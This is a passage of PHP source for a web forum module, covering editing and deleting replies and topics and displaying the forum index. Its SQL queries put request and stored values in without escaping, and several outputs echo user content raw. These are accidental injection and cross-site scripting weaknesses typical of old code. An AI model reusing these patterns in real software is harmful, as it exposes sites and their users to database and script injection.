                "<td><a href='$PHP_SELF?n=modules/forum'>{$config['forum_name']}</a> ".
                "&raquo; <a href='$PHP_SELF?n=modules/forum&a=1&d={$forum_cat['id']}'>".
                "{$forum_cat['name']}</a> &raquo; <a href='$PHP_SELF?n=modules/forum&".
                "a=2&d={$forum_cat['id']}&o={$forum_subcat['id']}'>".
                "{$forum_subcat['name']}</a> &raquo; <a href='$PHP_SELF?n=modules/".
                "forum&a=3&d={$forum_cat['id']}&o={$forum_subcat['id']}&q=".
                "{$forum_topic['id']}'>{$forum_topic['name']}</a></td></tr></table>";
        
        		//-----------------------------------------------------------------
        		//  Start Restrictions
        		//-----------------------------------------------------------------
        
                if (isset($is_guest))
                {
                    if ($forum_reply['user_reg'] != "1")
                    {
                        header("location: $PHP_SELF?i=2");
                        exit;
                    }
                    if ($forum_reply['ip'] != find_ip())
                    {
                        header("location: $PHP_SELF?i=2");
                        exit;
                    }
                }
                if (isset($is_user))
                    if ($forum_reply['user_id'] != $_SESSION['id'] &&
                        $forum_reply['user_user'] != $_SESSION['username'])
                    {
                        header("location: $PHP_SELF?i=2");
                        exit;
                    }
                if (isset($is_moderator))
                {
                    if($forum_topic['mode'] == "1")
                    {
                        header("location: $PHP_SELF?i=2");
                        exit;
                    }
                    
                    $check_user = $db->getLine("SELECT * FROM users WHERE id = '".
                    "{$forum_reply['user_id']}' AND username = ".
                    "'{$forum_reply['user_user']}'");
                    
                    if ($check_user['authorization'] == "3" ||
                        $check_user['authorization'] == "4")
                    {
                        header("location: $PHP_SELF?i=2");
                        exit;
                    }
                }
        		
                if (isset($is_administrator))
                {
                    $check_user = $db->getLine("SELECT * FROM users WHERE id = '".
                    "{$forum_reply['user_id']}' AND username = '".
                    "{$forum_reply['user_user']}'");
                    
                    if($check_user['authorization'] == "4")
                    {
                        header("location: $PHP_SELF?i=2");
                        exit;
                    }
                }
                
                if (!isset($l)) $l = null;
                
                
        		//-----------------------------------------------------------------
        		//  View The Form
        		//-----------------------------------------------------------------
                
                if (isset($_SESSION['preview']))
                {
                    $message = $_SESSION['preview'];
                    
                    echo "<br>".
                    "<table class='main' cellspacing='1' cellpadding='4'>".
                    "<tr class='head'><td>".
                    "{$language['Forum edit reply preview']}</td></tr>".
                    "<tr><td valign='top' class='con1'>".
                    parse_message($message)."</td></tr>".
                    "</table>";
                    
                    unset($_SESSION['preview']);
                }
                else
                    $message = $forum_reply['message'];
                
                echo "<br>".
                "<form action='$PHP_SELF?n=modules/forum' method='post' ".
                "name='textarea'>".
                "<table class='main' cellspacing='1' cellpadding='4'>".
                "<col width='25%'><col width='75%'>".
                "<tr class='head'><td colspan='2'>{$language['Forum edit reply desc']} ".
                "[{$forum_topic['name']}]</td></tr>";
                
                if ($config['emoticons'] == 1)
                {
                    echo "<tr class='con1'>".
                    "<td>{$language['Forum edit reply desc2']}</td>".
                    "<td>".insertSmilies(20)."</td>".
                    "</tr>";
                }
                if ($config['bbcode'] == 1)
                {
                    echo "<tr class='con1'>".
                    "<td>{$language['Forum edit reply desc3']}</td>".
                    "<td>".insertBBcode(20)."</td>".
                    "</tr>";
                }
                
                echo "<tr class='con1'>".
                "<td valign='top'>{$language['Forum edit reply desc4']}".
                dis_bb_em(true)."</td>".
                "<td><textarea style='width:80%; height:305px;' class='box' ".
                "name='sendmessage'>$message</textarea></td>".
                "</tr>".
                "<tr class='con1'>".
                "<td>{$language['Forum edit reply desc5']}</td>".
                "<td><input type='submit' style='width:120' class='box' value='".
                "{$language['Forum edit reply desc6']}'> ".
                "<input type='submit' name='preview' style='width:120' ".
                "class='box' value='{$language['Forum edit reply preview']}'>".        
                "</td>".
                "</tr></table>".
                "<input type='hidden' name='a' value='8'>".
                "<input type='hidden' name='c' value='1'>".
                "<input type='hidden' name='l' value='$l'>".
                "<input type='hidden' name='d' value='$d'>".
                "<input type='hidden' name='o' value='$o'>".
                "<input type='hidden' name='q' value='$q'>".
                "<input type='hidden' name='k' value='$k'>".
                "<input type='hidden' name='p' value='$p'>".
                "</form>";
                
                //Show language field only if webmaster
                if (isset($is_webmaster))
                {
                    $languages_db = $db->getTable("SELECT id FROM ".
                    "languages WHERE active = 1");
                    
                    echo
                    "<form action='$PHP_SELF' method='get' name='translation'>".
                    "<input type='hidden' name='n' value='modules/forum'>".
                    "<input type='hidden' name='a' value='8'>".
                    "<input type='hidden' name='d' value='$d'>".
                    "<input type='hidden' name='o' value='$o'>".
                    "<input type='hidden' name='q' value='$q'>".
                    "<input type='hidden' name='k' value='$k'>".
                    "<input type='hidden' name='p' value='$p'>".
                    "<table class='main' cellspacing='1' cellpadding='4'>".
                    "<col width='25%'><col width='75%'>".
                    "<tr class='con1'>".
                    "<td>{$language['Forum edit reply translation']}</td>".
                    "<td class='con1'><select name='l' ".
                    "class='box'>";
                    foreach ($languages_db as $lng)
                    {
                        echo "<option value='{$lng['id']}' ";
                        
                        if ($sitelanguage == $lng['id'])
                            echo "selected>";
                        else
                            echo ">";
                        
                        if (isset($language['Language '.$lng['id']]))
                            echo $language['Language '.$lng['id']];
                        else
                            echo $lng['name'];
                        
                        echo "</option>";
                    }
                    
                    echo
                    "</select></td></tr>".
                    "<tr class='con1'><td></td>".
                    "<td><input type='submit' style='width:120' class=".
                    "'box' value='{$language['Forum edit reply translate']}'>".
                    "</td></tr></table>".
                    "</form>";
                }
        }
	break;

	//-----------------------------------------------------------------
	//  Delete Replies
	//-----------------------------------------------------------------

	case 9:

		//-----------------------------------------------------------------
		//  Get subcat, topic and reply
		//-----------------------------------------------------------------

		$forum_subcat = $db->getLine("SELECT * FROM forum_subcat",$o);
		if(!$forum_subcat) header("location: $PHP_SELF?i=error");
		$forum_topic = $db->getLine("SELECT * FROM forum_topics",$q);
		if(!$forum_topic) header("location: $PHP_SELF?i=error");
		$forum_reply = $db->getLine("SELECT * FROM forum_replies",$k);
		if(!$forum_reply) header("location: $PHP_SELF?i=error");

		//-----------------------------------------------------------------
		//  Start Restrictions
		//-----------------------------------------------------------------

		if(isset($is_guest)) { if($forum_reply['user_reg'] != "1") { header("location: $PHP_SELF?i=2"); exit; } if($forum_reply['ip'] != find_ip()) { header("location: $PHP_SELF?i=2"); exit; } }
		if(isset($is_user)) if($forum_reply['user_id'] != $_SESSION['id'] && $forum_reply['user_user'] != $_SESSION['username']){ header("location: $PHP_SELF?i=2"); exit; }
		if(isset($is_moderator)) { if($forum_topic['mode'] == "1") { header("location: $PHP_SELF?i=2"); exit; } $check_user = $db->getLine("SELECT * FROM users WHERE id = '{$forum_reply['user_id']}' AND username = '{$forum_reply['user_user']}'"); if($check_user['authorization'] == "3" || $check_user['authorization'] == "4") { header("location: $PHP_SELF?i=2"); exit; } }
		if(isset($is_administrator)) { $check_user = $db->getLine("SELECT * FROM users WHERE id = '{$forum_reply['user_id']}' AND username = '{$forum_reply['user_user']}'"); if($check_user['authorization'] == "4") { header("location: $PHP_SELF?i=2"); exit; } }

		//-----------------------------------------------------------------
		//  Write in database
		//-----------------------------------------------------------------

		$db->deleteRow("forum_replies","id = '{$forum_reply['id']}'");
		$forum_replies = $db->getTable("SELECT * FROM forum_replies WHERE subcat = '$o' AND topic = '$q'");
		foreach($forum_replies as $idx=>$forum_last_reply) {}
		$db->updateRow("forum_subcat",array('lastpost_location' => ''.$forum_last_reply['id'].'','lastpost_date' => ''.$forum_last_reply['date'].'','lastpost_reg' => ''.$forum_last_reply['user_reg'].'','lastpost_id' => ''.$forum_last_reply['user_id'].'','lastpost_user' => ''.$forum_last_reply['user_user'].'','lastpost_email' => ''.$forum_last_reply['user_email'].''),"id = '$o'");
		$db->updateRow("forum_topics",array('lastpost_location' => ''.$forum_last_reply['id'].'','lastpost_date' => ''.$forum_last_reply['date'].'','lastpost_reg' => ''.$forum_last_reply['user_reg'].'','lastpost_id' => ''.$forum_last_reply['user_id'].'','lastpost_user' => ''.$forum_last_reply['user_user'].'','lastpost_email' => ''.$forum_last_reply['user_email'].''),"id = '$q'");
		$check_topics = $db->getInfo_countRows("forum_topics","subcat = '$o' AND type != '3'");
		$check_replies = $db->getInfo_countRows("forum_replies","subcat = '$o'");
		$db->updateRow("forum_subcat",array('topics' => ''.$check_topics.'', 'replies' => ''.$check_replies.''),"id = '$o'");

		//-----------------------------------------------------------------
		//  Write Log 
		//-----------------------------------------------------------------

		$db->insertRow("log",array('user_id' => ''.$_SESSION['id'].'','user_user' => ''.$_SESSION['username'].'','log' => ''.$language['Logs desc'].' <b>forum</b> the reply -> \''.$k.'\' from the topic \''.$forum_topic['name'].'\'','date' => ''.time().''));

		//-----------------------------------------------------------------
		//  Redirect when finished
		//-----------------------------------------------------------------

		header("location: $PHP_SELF?n=modules/forum&a=3&d=$d&o=$o&q=$q&p=$p&i=111");

	break;

	//-----------------------------------------------------------------
	//  Delete Topics
	//-----------------------------------------------------------------

	case 10:

		//-----------------------------------------------------------------
		//  Get subcat and topic
		//-----------------------------------------------------------------

        $forum_subcat = $db->getLine("SELECT * FROM forum_subcat", $o);
        if (!$forum_subcat) header("location: $PHP_SELF?i=error");
        
        $forum_topic = $db->getLine("SELECT * FROM forum_topics", $q);
        if (!$forum_topic) header("location: $PHP_SELF?i=error");
        
        //-----------------------------------------------------------------
        //  Start Restrictions
        //-----------------------------------------------------------------
        
        if (isset($is_guest))
        {
            if ($forum_topic['author_reg'] != "1")
            {
                header("location: $PHP_SELF?i=2");
                exit;
            }
            if ($forum_topic['ip'] != find_ip())
            {
                header("location: $PHP_SELF?i=2");
                exit;
            }
        }
		if (isset($is_user))
            if ($forum_topic['author_id'] != $_SESSION['id'] &&
                $forum_topic['author_user'] != $_SESSION['username'])
            {
                header("location: $PHP_SELF?i=2");
                exit;
            }
		if (isset($is_moderator))
        {
            if ($forum_topic['mode'] == "1")
            {
                header("location: $PHP_SELF?i=2");
                exit;
            }
            
            $check_user = $db->getLine("SELECT * FROM users WHERE id = '".
            "{$forum_topic['author_id']}' AND username = '".
            "{$forum_topic['author_user']}'");
            
            if ($check_user['authorization'] == "3" ||
                $check_user['authorization'] == "4")
            {
                header("location: $PHP_SELF?i=2");
                exit;
            }
        }
		if (isset($is_administrator))
        {
            $check_user = $db->getLine("SELECT * FROM users WHERE id = '".
            "{$forum_topic['author_id']}' AND username = '".
            "{$forum_topic['author_user']}'");
            
            if ($check_user['authorization'] == "4")
            {
                header("location: $PHP_SELF?i=2");
                exit;
            }
        }

		//-----------------------------------------------------------------
		//  Write in database
		//-----------------------------------------------------------------

		for ($i = 0; $i <= count($forum_topic); $i++)
            $db->deleteRow("forum_replies", "topic = '$q'");
		$db->deleteRow("forum_topics", "id = '$q'");
		
        $forum_moved_topic = $db->getLine("SELECT * FROM forum_topics ".
        "WHERE redirect_topic = $q");
		
        if ($forum_moved_topic)
            $db->deleteRow("forum_topics", "id = '{$forum_moved_topic['id']}'");
		
        $forum_topics = $db->getTable("SELECT * FROM forum_topics ".
        "WHERE cat = '$d' AND subcat = '$o' AND mode != 2 ".
        "ORDER BY lastpost_date");
        
        foreach ($forum_topics as $forum_last_topic) {} //WTF!!
        
        $db->updateRow("forum_subcat", array(
        "lastpost_location" => $forum_last_topic['lastpost_location'],
        "lastpost_date" => $forum_last_topic['lastpost_date'],
        "lastpost_reg" => $forum_last_topic['lastpost_reg'],
        "lastpost_id" => $forum_last_topic['lastpost_id'],
        "lastpost_user" => $forum_last_topic['lastpost_user'],
        "lastpost_email" => $forum_last_topic['lastpost_email']),
        "id = '$o'");
		
        $check_topics = $db->getInfo_countRows("forum_topics",
        "subcat = '$o' AND type != '3'");
		$check_replies = $db->getInfo_countRows("forum_replies",
        "subcat = '$o'");
		$db->updateRow("forum_subcat", array("topics" => $check_topics,
        "replies" => $check_replies), "id = '$o'");
        
        $db->deleteRow("events", "topic = $q");

		//-----------------------------------------------------------------
		//  Write Log 
		//-----------------------------------------------------------------

		$db->insertRow("log", array("user_id" => $_SESSION['id'],
        "user_user" => $_SESSION['username'], "log" => $language['Logs desc'].
        " <b>forum</b> the topic -> \'".$forum_topic['name']."\'",
        "date" => time()));

		//-----------------------------------------------------------------
		//  Redirect when finished
		//-----------------------------------------------------------------

		header("location: $PHP_SELF?n=modules/forum&a=2&d=$d&o=$o&i=112&ct=$check_topics&cr=$check_replies");

	break;

	//-----------------------------------------------------------------
	//  Show Forums
	//-----------------------------------------------------------------

	default:

		//-----------------------------------------------------------------
		//  Breadcrumbs
		//-----------------------------------------------------------------

		echo "<table class='main' cellspacing='1' cellpadding='4'><tr class='con1'><td>{$config['forum_name']}</td></tr></table><br>";

		//-----------------------------------------------------------------
		//  Load MYSQL Table #1
		//-----------------------------------------------------------------

		$results = $db->getTable("SELECT c.id AS cid, c.name AS cname, s.id AS sid, s.type, s.name, s.description, s.topics, s.replies, s.lastpost_date, s.lastpost_email, s.lastpost_user, s.lastpost_id, s.lastpost_location, s.lastpost_reg, u.id AS uid FROM forum_cat AS c LEFT JOIN forum_subcat AS s ON s.cat=c.id LEFT JOIN users AS u ON s.lastpost_id=u.id ORDER BY c.order ASC, s.order ASC");

		$cur_category = 0;
		$cat_count = 0;

		//-----------------------------------------------------------------
		//  Start Display #1
		//-----------------------------------------------------------------

		foreach($results as $idx=>$result)
		{
			//-----------------------------------------------------------------
			//  Separate categories for each subcategory
			//-----------------------------------------------------------------

			if($result['cid'] != $cur_category)
			{
				if ($cur_category != 0) echo "<tr class='con4'><td colspan='5'></td></tr></table><br>";

				$cat_count++;

				echo "<table class='main' cellspacing='1' cellpadding='4'><tr class='head'><td colspan='5'><img src='templates/$template/images/misc/nav_link.gif' border='0'> <a href='$PHP_SELF?n=modules/forum&a=1&d={$result['cid']}'>{$result['cname']}</a></td></tr>";
				echo "<tr class='bottom'><td width='54%' colspan='2'>{$language['Forum view forums desc']}</td><td width='7%' align='center'>{$language['Forum view forums desc2']}</td><td width='8%' align='center'>{$language['Forum view forums desc3']}</td><td width='17%'>{$language['Forum view forums desc4']}</td></tr>";

				$cur_category = $result['cid'];
			}

			//-----------------------------------------------------------------
			//  Show categories if any
			//-----------------------------------------------------------------

			if($result['sid'] != FALSE)
			{
				//-----------------------------------------------------------------
				//  Check see what indicator fits
				//-----------------------------------------------------------------

				if($result['type'] == "5") $forum_indicator = "<img src='templates/$template/images/buttons/redirected.gif' alt='{$language['Forum indicator desc9']}'>";
				else
				{
					if(@in_array(array("{$result['sid']}","{$result['lastpost_date']}"),$_SESSION['subcat']) && !@in_array(array("{$result['sid']}","{$result['lastpost_date']}"),$_SESSION['subcat_read']))
					{
						if($result['type'] == "1") $forum_indicator = "<img src='templates/$template/images/buttons/new.gif' alt='{$language['Forum indicator desc']}'>";
						if($result['type'] == "2") $forum_indicator = "<img src='templates/$template/images/buttons/news_new.gif' alt='{$language['Forum indicator desc2']}'>";
						if($result['type'] == "3") $forum_indicator = "<img src='templates/$template/images/buttons/admin_new.gif' alt='{$language['Forum indicator desc3']}'>";
						if($result['type'] == "4") $forum_indicator = "<img src='templates/$template/images/buttons/locked_new.gif' alt={$language['Forum indicator desc7']}>";
					}
					else
					{
						if($result['type'] == "1") $forum_indicator = "<img src='templates/$template/images/buttons/old.gif' alt='{$language['Forum indicator desc4']}'>";
						if($result['type'] == "2") $forum_indicator = "<img src='templates/$template/images/buttons/news_old.gif' alt='{$language['Forum indicator desc5']}'>";
						if($result['type'] == "3") $forum_indicator = "<img src='templates/$template/images/buttons/admin_old.gif' alt='{$language['Forum indicator desc6']}'>";
						if($result['type'] == "4") $forum_indicator = "<img src='templates/$template/images/buttons/locked_old.gif' alt='{$language['Forum indicator desc8']}'>";
					}
				}

				//-----------------------------------------------------------------
				//  Do some HTML
				//-----------------------------------------------------------------

				echo "<tr><td class='con1' align='center' width='6%'>$forum_indicator</td>";
				echo "<td class='con1'><b><a href='$PHP_SELF?n=modules/forum&a=2&d={$result['cid']}&o={$result['sid']}'>{$result['name']}</a></b><br>{$result['description']}</td>";
				echo "<td class='con2' align='center'>"; if($result['type'] == "5") echo "--"; else echo $result['topics']; echo "</td>";
				echo "<td class='con2' align='center'>"; if($result['type'] == "5") echo "--"; else echo $result['replies']; echo "</td>";
				echo "<td class='con2'>";

				if(!isset($result['redirect_hits'])) $result['redirect_hits'] = "0";

				if($result['type'] == "5") echo "{$language['Forum view forums desc7']} {$result['redirect_hits']}";
				else
				{
					if(!isset($result['lastpost_date'])) echo "--";
					else
					{
						echo "<img src='templates/$template/images/buttons/date.gif' border='0' alt='{$language['Forum view forums desc5']}'> ".today_yesterday($result['lastpost_date'])."<br>{$language['Forum view forums desc6']} ";

						if(isset($result['uid'])) echo "<a href='$PHP_SELF?n=modules/users&a=1&d={$result['lastpost_id']}'>{$result['lastpost_user']}</a>";
						else echo "<a href='mailto:{$result['lastpost_email']}'>{$result['lastpost_user']}</a>";

						echo " <a href='$PHP_SELF?n=modules/forum&a=6&d={$result['lastpost_location']}'><img src='templates/$template/images/buttons/last_post.gif' border='0' alt='{$language['Forum view forums desc4']}'></a>";
					}

					echo "</td></tr>";
				}
			}
		}

		if($cur_category > 0) echo "<tr class='con4'><td colspan='5'></td></tr></table><br>";

		//-----------------------------------------------------------------
		//  Check see if we have some forum categories
		//-----------------------------------------------------------------

		if(!$results) echo "<table class='main' cellspacing='1' cellpadding='4'><tr class='con1'><td>{$language['Forum view forums desc8']}</td></tr></table>";
		else
		{
			//-----------------------------------------------------------------
			//  Show Indicators
			//-----------------------------------------------------------------

			?>
				<table class="main" cellspacing="1" cellpadding="4">
				<tr><td class="con1" width="33%">
				<table width="100%" cellspacing="0" cellpadding="0">
				<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/new.gif" border="0" alt="<?= $language['Forum indicator desc'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc'] ?></td></tr>
				</table>
				</td><td class="con1" width="33%">
				<table width="100%" cellspacing="0" cellpadding="0">
				<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/news_new.gif" border="0" alt="<?= $language['Forum indicator desc2'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc2'] ?></td></tr>
				</table>
				</td><td class="con1" width="33%">
				<table width="100%" cellspacing="0" cellpadding="0">
				<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/admin_new.gif" border="0" alt="<?= $language['Forum indicator desc3'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc3'] ?></td></tr>
				</table>
				</td></tr>
				<tr><td class="con1" width="33%">
				<table width="100%" cellspacing="0" cellpadding="0">
				<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/old.gif" border="0" alt="<?= $language['Forum indicator desc4'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc4'] ?></td></tr>
				</table>
				</td><td class="con1" width="33%">
				<table width="100%" cellspacing="0" cellpadding="0">
				<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/news_old.gif" border="0" alt="<?= $language['Forum indicator desc5'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc5'] ?></td></tr>
				</table>
				</td><td class="con1" width="33%">
				<table width="100%" cellspacing="0" cellpadding="0">
				<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/admin_old.gif" border="0" alt="<?= $language['Forum indicator desc6'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc6'] ?></td></tr>
				</table>
				</td></tr>
				<tr><td class="con1" width="33%">
				<table width="100%" cellspacing="0" cellpadding="0">
				<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/locked_new.gif" border="0" alt="<?= $language['Forum indicator desc7'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc7'] ?></td></tr>
				</table>
				</td><td class="con1" width="33%">
				<table width="100%" cellspacing="0" cellpadding="0">
				<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/locked_old.gif" border="0" alt="<?= $language['Forum indicator desc8'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc8'] ?></td></tr>
				</table>
				</td><td class="con1" width="33%">
				<table width="100%" cellspacing="0" cellpadding="0">
				<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/redirected.gif" border="0" alt="<?= $language['Forum indicator desc9'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc9'] ?></td></tr>
				</table>
				</td></tr>
				</table>
			<?
		}

	break;
}
?>
